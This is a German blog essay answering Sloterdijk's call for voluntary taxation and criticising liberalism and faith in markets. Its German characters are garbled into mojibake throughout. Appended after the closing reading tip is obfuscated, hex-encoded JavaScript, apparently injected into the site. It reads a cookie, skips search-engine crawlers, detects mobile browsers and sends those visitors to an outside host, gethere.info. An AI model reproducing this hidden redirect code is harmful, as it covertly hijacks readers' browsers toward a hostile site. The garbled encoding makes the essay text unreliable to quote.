Oikodizee

Thema: // Author: Till Führer

Mit dem gefAi??hrlichem Halbwissen des angelernten Philosophen und dem Idealismus eines jungen Kulturkritikers ist die folgende Antwort gespickt. Sie bezieht sich auf einen Artikel des befreundeten BlogsAi??Finanzdiskurs.de.

Demokratisierung des Fiskalsystems

Dem wirtschaftlichem Denken fachfremd nimmt sie einem Standpunkt ein, der menschliche Interessen, HintergrA?nde und Unebenheiten stAi??rker mit einflieAYen lassen will. Sloterdijks Aufruf an eine Ethik des Gebens wird dabei gerne weitergefA?hrt, aber ob der Liberalismus die nAi??tigen Werkzeuge dafA?r bereithAi??lt, ist mindestens fraglich.

Sloterdijk zitiert seinerseits liberale Denker wie Benjamin Franklin. Dessen Seufzer ai??i?? ai??zVAi??llig sicher sind auf dieser Welt nur zwei Dinge, man stirbt und man zahlt steuern.ai??? ai??i?? zielt auf eine Kritik an der zur Selbstzweck verkommenen Politik ab und wird in den nAi??chsten AbsAi??tzen verdeutlicht. Trotz etlicher Reformen ist das Steuersystem in ihren Fundamenten A?ber Jahrhunderte kaum verAi??ndert worden. Ob es nun von der konservativ-absolutistischen Seite als Auflagen fA?r einen funktionierenden Staat oder von den linksorientierten Machthabern als soziale Gegenleistung propagiert wird, war fA?r den Ausgang der Debatte unwichtig. Was letztlich bis heute blieb, ist der Zwang Steuern zu zahlen.

Dem stellt Sloterdijk ein Steuersystem entgegen, das auf ein philantrophisches Menschenbild sich grA?ndet und das ein freiwilliges Geben aus Einsicht in die Notwendigkeit von Gemeinschaftsleistungen an die Stelle des Zwanges stellt. Weil Steuern zahlen nicht gleich Staatlichkeit bezeugt und der Staat sich nicht durch sein Steuermonopol allein auszeichnen sollte, wird also versucht beides von einander zu lAi??sen. Kritiker beschrieen dies sofort als utopisch und man muss auch zugestehen, dass Sloterdijk in seiner SchAi??rfe innerhalb der nun schon eineinhalb Jahre dauernden Diskussion nachgelassen hat. Aus der anfAi??nglich geforderten uneingeschrAi??nkten Abschaffung von Zwangssteuern ist nunmehr zunAi??chst eine kleiner Betrag geworden, den jeder Steuerzahler in einen Bereich seiner Wahl investieren durfte. Dennoch bleibt er fA?r ein PlAi??doyer fA?r die GroAYzA?gigkeit, ja erst diese wA?rde die Demokratie zu einer sich selbst treu bleibenden Gesellschaftsform erheben. Diese kommende Demokratie wAi??re AnstoAY in eine neue politische Gemeinschaftsordnung, die das Wort ai??zGemeinschaftai??? nicht nur aus politischem Selbstzweck heraus im Namen fA?hrt. Die Deutung der ur-anthropologischen Motive des Menschen ist letztlich der archimedische Punkt, an dem sich Philosoph und Kritiker treffen. WAi??hrend die politische RealitAi??t das Gros der Menschen weiterhin als WAi??lfe seiner selbst betrachtet, mAi??chte Sloterdijk die Gesellschaft in die Verantwortung nehmen um dieses Feindbild ihrer selbst zu A?berwinden. Der Mensch kann und will geben.

Wie aber soll der Mensch nach Jahrhunderten von Zwangssteuern zum Geben gebracht werden? Auf Grund welchen SolidaritAi??tsgefA?hls oder schlechten Gewissens kann dem Menschen die GroAYzA?gigkeit nahe gelegt werden? Die bloAYe AnkA?ndigung vom positiven Wert der Spende ist fA?r viele nicht Motivation genug. Der Mensch ist nun leider sehr solidarisch mit seinen engsten Vertrauten, hat gewisse Empathie fA?r seine nAi??here bis leicht entfernte Umgebung und hat kaum solidarische VerknA?pfungen mit weit entfernten Menschen und Schicksalen. Und auch wenn er sie hat, gibt es kaum Handlungsinteresse reale Ai??nderungen einzuleiten. Dass dies so nicht sein sollte, ist dem Philosophen klar, wie es zu Ai??ndern ist weniger.

Essential Liberty vs. temporary Safety?

Im Namen Benjamin Franklins wird nun der Liberalismus als das politische Modell propagiert, das den grAi??AYten Erfolg verspricht. Sein wohl am weitesten verbreitete Zitat neben dem oben genannten lautet ai??i?? unabhAi??ngig von der falschen und verkA?rzten PopulAi??rvariante ai??i?? ai??zDiejenigen, die fA?r ein wenig vorA?bergehende Sicherheit grundlegende Freiheiten aufgeben, verdienen weder Freiheit noch Sicherheit.ai??? Denn die Freiheit aller wA?rde letztlich in allgemeinen Wohlstand fA?hren. Wenn jeder frei ist, kAi??nnte sich ein gerechter Kreislauf von Geben und Nehmen ganz natA?rlich entwickeln. Gerechtigkeit wAi??re schon deshalb ein Produkt dieses Kreislaufes, weil man selber am reibungslosen Funktionieren dieses Kreislaufes Interesse hat. So die Theorie.

Dass der Liberalismus durch Chancengleichheit eine der best-mAi??glichen demokratischen Welten sei, ist ein schAi??ner Gedanke. Dass aber alleine unsichtbare Marktgesetze die Gesellschaft positiv formen sollen, geht darA?ber hinaus und ist keine notwendige Ausformulierung dieser Marktgesetze. Viel mehr bietet die Chancengleichheit auch die MAi??glichkeit des Missbrauchs. Die Gefahr des Missbrauchs trifft zwar auf jedes politische System zu, der Liberalismus aber Ai??ffnet das Tor weiter als andere und hat im Zweifelsfall entweder zu schwache MAi??glichkeiten zur Regulation oder sie greifen zu spAi??t. Neid und Gier sind zwar langfristig nicht erfolgreich, kurzfristig dagegen sehr. So lange wir es nicht schaffen, wirtschaftliche Systeme langfristig moralisch zu fundieren und zu lenken, bleibt beim Liberalismus als Selbstzweck auf Grund des Fehlens solcher Werte zu viel Freiraum: Freiraum fA?r politische Machtspielchen, fA?r Lobbyisten und fA?r die Rhetoriken des ungebremsten Wachstums. Die bloAYen Marktregeln sollen vor Ausbeutung schA?tzen, vergessen aber genau diese MissbrauchsmAi??glichkeiten. SpAi??testens die vollstAi??ndige PlA?nderung der Rohstoffe wird die Grenzen der Marktgesetze aufzeigen, in denen die grAi??AYten Egos durch ganz reale Ausbeutung von SchwAi??cheren immer noch den grAi??AYten Marktvorteil haben. Nur weil der eigene Markt nicht ausgenutzt wird, bedeutet dies nicht das Fehlen solcher Strategien. Marktgesetze sind nicht in Stein gemeiAYelt, sondern kAi??nnen je nach BedA?rftigkeit oder Skrupellosigkeit sehr stark gedehnt werden.

Das Wortfeld der GroAYzA?gigkeit

Die PrAi??misse des guten Menschen, die Sloterdijk propagiert ist wA?nschenswert und in GrundzA?gen richtig. Die Geschichte hat den Beweis bisher allerdings vermissen lassen. Im ai??zWortfeld der GroAYzA?gigkeitai??? die ai??zVerben des Gebens zu konjugierenai??? ist im Alphabet des Liberalismus bisher nicht verankert. Investment, Schulden und freier Markt sind zunAi??chst einmal wirtschaftliche Begriffe, die bei ihren angeblichen intrinsischen Wert fA?r die Gemeinschaft von Vorschusslorbeeren leben, die sie auf Grund von ai??zAlternativlosigkeitai??? ai??i?? A?brigens das Unwort des Jahres ai??i?? kaum verteidigen brauchen. Jedoch ist die Dummheit der alternativen Denker kein Argument gegen Alternativen per se. Es gibt immer eine andere Wahl. Erfolg muss genauso mit Inhalt gefA?llt werden, wie GlA?ck oder Wohlstand, wird aber meist ganz automatisch wirtschaftlich und finanziell interpretiert. Die Macht des Kapitals scheint in alle unsere Lebensbereiche so eingedrungen zu sein, dass jedes Aufbegehren dagegen als utopisch angesehen wird.

Warum der Glaube an die Alternativlosigkeit des aktuellen Systems so stark ist, ist ein PhAi??nomen. Bedenkt man die finanziellen Beben, BAi??rsencrashs, Existenzverluste und Krisen der letzten Jahre, mA?sste man das Vertrauen in die Wirtschaft als ein Wunder bezeichnen. Bleibt man den Begrifflichkeiten und Metaphern treu, hat das aktuellen wirtschaftlichen Systems ein tatsAi??chliches Problem der ai??zOikodizeeai???. Oder sind diese Crashs nur kollaterale Effekte der allgemein erwA?nschten Weltordnung? Die mythische ai??zunsichtbare Handai??? ist letztlich der angebetete Gott der WirtschaftsglAi??ubigen, die lediglich von einigen wenigen Wirtschaftswissenschaftlern in Frage gestellt wird, weil jegliches Zweifeln unpopulAi??r ist. Obwohl mitunter in unwissenschaftlicher Sprache vorgetragen, kann hier zum Beispiel auf den Film ai??zFreakonomicsai??? verwiesen werden, wo Ai??konomen bescheiden zugeben, dass die Vorhersage von Marktreaktionen letztlich zu einem riesigen Prozentsatz schlicht GlA?ck sind. Der IrrationalitAi??t menschlicher Entscheidungen sind keine Grenzen gesetzt. Die Gesetze des Marktes sind ungefAi??hr genauso gut vorherzusagen, wie die Treffsicherheit eines Schimpansen, der mit verbundenen Augen Dartpfeile auf den BAi??rsenteil der Tageszeitung wirft. ai??i?? Vielleicht sind diese Vergleiche aber auch zu weit hergeholt und der Blick in die Rhetoriken von Politikern und Wirtschafts-ai??zWeisenai??? sind da mAi??glicherweise nAi??her dran, die uns Tag fA?r Tag die Alternativlosigkeit eintrichtern. Dis zum nAi??chsten Crash nehmen schlucken wir gerne alles, dann gibt es einige Monate Bambule und kurz darauf sind die Boni wieder genauso hoch wie vor der Blase.

Sloterdijk hat natA?rlich Recht, wenn er darauf verweist, dass die Unterstellung des BAi??sen im Menschen und die Absage an ein philanthropisches Menschenbild die Gesellschaft kein bisschen voranbringen wird. Genauso muss man aber auch sehen, wie in der Realpolitik das Bild des Gutmenschen stAi??ndig ad absurdum gefA?hrt wird, wenn eindimensional und im Einklang mit egozentrischen und kurzfristigen Wachstumsstrategien gewirtschaftet wird. Dies wird sich so lange nicht Ai??ndern, bis der Markt ebenfalls von philantrophischem Menschenbild durchdrungen ist. WA?nschenswert wAi??re ohne Frage die Durchdringung von innen, weil die Menschen zusammen arbeiten wollen, von selbst Profitgier abstellen und man sich auch einmal mit dem kleineren StA?ck Kuchen zufrieden gibt. Ob dieser Weg realistisch ist, oder ob man ihn doch von oben etwas steuern mA?sste, ist zunAi??chst eine Frage. Dass der Liberalismus es aber bis heute schuldig geblieben ist, andere Werte zu schaffen als der Glaube an finanziellen Wohlstand und die mythische Hoffnung auf unendliches Wachstum muss nach den finanziellen Desastern der letzten 20 Jahre als erwiesen angesehen werden. Benjamin Franklin soll bei seinen Aussagen A?brigens auf einen gewissen Richard Jackson Bezug genommen haben, der einige Jahre vor Franklins Zitaten gesagt haben soll: Sell not virtue to purchase wealth, nor liberty to purchase power ai??i?? Verkaufe keine Tugend, um Wohlstand zu erlangen, auch nicht Freiheit fA?r Macht. WAi??hrend letzterer Teil der Aussage immer wieder lautstark propagiert wird, wird der erste gerne unter den Tisch gekehrt. Und warum auch nicht, schlieAYlich gilt Geiz als geil und money never sleeps!

Bei allen Rufen nach mehr Freiheit und der Hoffnung auf Einsicht in langfristiges, soziales Handeln, wird schnell vergessen, dass auch Forderungen wie Gewaltenteilung und Minderheitenschutz im Sinne der Freiheit an die Tore der politischen Kirchen geschlagen wurde. Sicherheit bedeutet nicht zwangslAi??ufig Beschneidung der Freiheit. Wer Freiheit mAi??chte, darf keine ungezA?gelte und blinde WillkA?r fordern. Wenn niemand auAYer einem selber fA?r die eigenen Taten verantwortlich gemacht werden kann, entwAi??chst aus der absoluten Freiheit die grAi??AYte Verantwortung. Diese Verantwortung ist aber keine einzelne, sondern eine Verantwortung fA?r die Gemeinschaft. Sich dieser Verantwortung bewusst zu werden und nach ihr zu handeln, ist keine Beschneidung von Freiheit sondern deren logische Konsequenz und Gradmesser.

Lesetipp: Joseph Vogl ai??i?? Das Gespenst des Kapitalsvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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